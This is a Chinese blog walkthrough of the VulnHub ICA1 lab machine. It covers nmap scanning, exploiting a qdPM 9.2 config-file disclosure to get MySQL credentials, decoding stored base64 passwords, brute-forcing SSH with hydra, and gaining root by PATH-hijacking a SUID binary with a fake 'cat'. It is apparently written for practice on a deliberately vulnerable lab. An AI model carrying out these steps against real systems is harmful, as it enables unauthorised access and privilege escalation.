靶机练习No.9 VulnHub靶场 ICA1

284 阅读4分钟

**声明:**文章来自作者日常学习笔记,请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。仅供学习研究


靶机信息

下载地址:

https://www.vulnhub.com/entry/ica-1,748/

难度: 简单

发布时间: 2021年9月25日

提示信息:

According to information from our intelligence network, ICA is working on a secret project. We need to find out what the project is. Once you have the access information, send them to us. We will place a backdoor to access the system later. You just focus on what the project is. You will probably have to go through several layers of security. The Agency has full confidence that you will successfully complete this mission. Good Luck, Agent!
译:根据我们情报网络的信息,ICA 正在进行一个秘密项目。我们需要弄清楚这个项目是什么。一旦你有访问信息,发送给我们。稍后我们将放置一个后门来访问系统。你只需要关注项目是什么。你可能需要通过几层安全措施。原子能机构完全相信你将成功地完成这项任务。祝你好运探员!

信息收集

扫描主机

nmap -sP 192.168.7.1/24

图片

扫描端口

nmap -sC -sV -p- 192.168.7.248 -oN ica.nmap

图片

扫到4个端口22 80 3306 33060,还是先重80端口入手

图片


web渗透

在页面的下方找到web程序信息qdPM 9.2,到exploit-db查询是否有漏洞

图片

查到一个密码泄漏漏洞,点进去看看内容

图片

有段payload,我们直接拿来使用

http://192.168.7.248/core/config/databases.yml

图片

保存后打开看看内容

图片

拿到mysql数据库的帐号和密码

username: qdpmadmin
password: "<?php echo urlencode('UcVQCMQk2STVeS6J') ; ?>"

数据库基础操作

连到数据库验证一下帐号密码

mysql -h192.168.7.248 -uqdpmadmin -p

图片

登陆成功密码是UcVQCMQk2STVeS6J,那来找找能利用的信息吧

查数据库名

show databases;

图片

查表名

进入qdpm查询有哪些表

use qdpm;
show tables;

图片

查表数据

发现用户表,查询表内容

select * from users;

图片

users表是空的,这个库没见到其他可疑信息,刚刚查询数据库时还有一个库名staff的数据库,切换过去看看里面有什么

use staff;
show tables;

图片

发现3个表,每个都看看吧

select * from department;

图片

select * from login;

图片

+------+---------+--------------------------+
| id   | user_id | password                 |
+------+---------+--------------------------+
|    1 |       2 | c3VSSkFkR3dMcDhkeTNyRg== |
|    2 |       4 | N1p3VjRxdGc0MmNtVVhHWA== |
|    3 |       1 | WDdNUWtQM1cyOWZld0hkQw== |
|    4 |       3 | REpjZVZ5OThXMjhZN3dMZw== |
|    5 |       5 | Y3FObkJXQ0J5UzJEdUpTeQ== |
+------+---------+--------------------------+
select * from user;

图片

+------+---------------+--------+---------------------------+
| id   | department_id | name   | role                      |
+------+---------------+--------+---------------------------+
|    1 |             1 | Smith  | Cyber Security Specialist |
| 2|             2 | Lucas  | Computer Engineer         |
|    3 |             1 | Travis | Intelligence Specialist   |
| 4|             1 | Dexter | Cyber Security Analyst    |
|    5 |             2 | Meyer  | Genetic Engineer          |
+------+---------------+--------+---------------------------+

login表里面存储的密码是base64编码过的,解出来就是下面的内容

suRJAdGwLp8dy3rF
7ZwV4qtg42cmUXGX
X7MQkP3W29fewHdC
DJceVy98W28Y7wLg
cqNnBWCByS2DuJSy

拿到帐号密码测试能不能登录ssh,先把帐号保存为user.txt字典,密码保存为pass.txt字典

vi user.txt
smith
lucas
travis
dexter
meyer

图片

vi pass.txt
X7MQkP3W29fewHdC
suRJAdGwLp8dy3rF
DJceVy98W28Y7wLg
7ZwV4qtg42cmUXGX
cqNnBWCByS2DuJSy

图片


SSH暴破

hydra -L user.txt -P pass.txt ssh://192.168.7.248

图片

2个帐号和密码可以登陆

用户dexter密码7ZwV4qtg42cmUXGX
用户travis密码DJceVy98W28Y7wLg

登陆ssh,先试第一个帐号dexter

ssh dexter@192.168.7.248

图片

登陆成功看看有什么信息,dexter的用户目录下找到note.txt

图片

百度翻译:
在我看来,访问系统时存在一个弱点。
据我所知,可执行文件的内容部分是可查看的。
我需要找出是否存在漏洞。

权限提升

提到可执行文件内容是可以查看的

sudo -l

图片

不能运行sudo,那就换find

find / -perm -u=s -type f 2>/dev/null

图片

找到opt目录下的get_access文件,看一下什么内容

string /opt/get_access

图片

这里看到了setuid还执行了cat命令,猜测是setuid提权,那就伪造个cat来提权

先切换到/tmp目录,创建一个名为cat的提权文件,并给cat可执行权限

cd /tmp
echo '/bin/bash' >cat
chmod +x cat

图片

现在设置环境变量,让get_access程序执行cat命令时直接执行/tmp目录下的

cat
echo $PATH
export PATH=/tmp:$PATH

图片

确认下是否添加成功

echo $PATH

图片

可以看到多了一个/tmp目录,现在执行get_access来提权

图片

提权成功,现在找到我们的flag吧

cd /root
ls

图片

cat user.txt

图片

当我执行完cat user.txt命令时发现root.txt文件是空的,顿时怀疑人生了,然后马上想到我修改了cat那我们把他删除就可以了

rm /tmp/cat
cat root.txt

图片

成功拿到root权限flag,还有一个travis帐户下的user.txt是可以使用root帐号查看,也可以切换到travis帐户去查看

END

OK,这篇文章到这里就结束了,喜欢打靶的小伙伴可以关注"伏波路上学安全"公众号,或扫描下面二维码关注,我会持续更新打靶文章,让我们一起在打靶中学习进步.

图片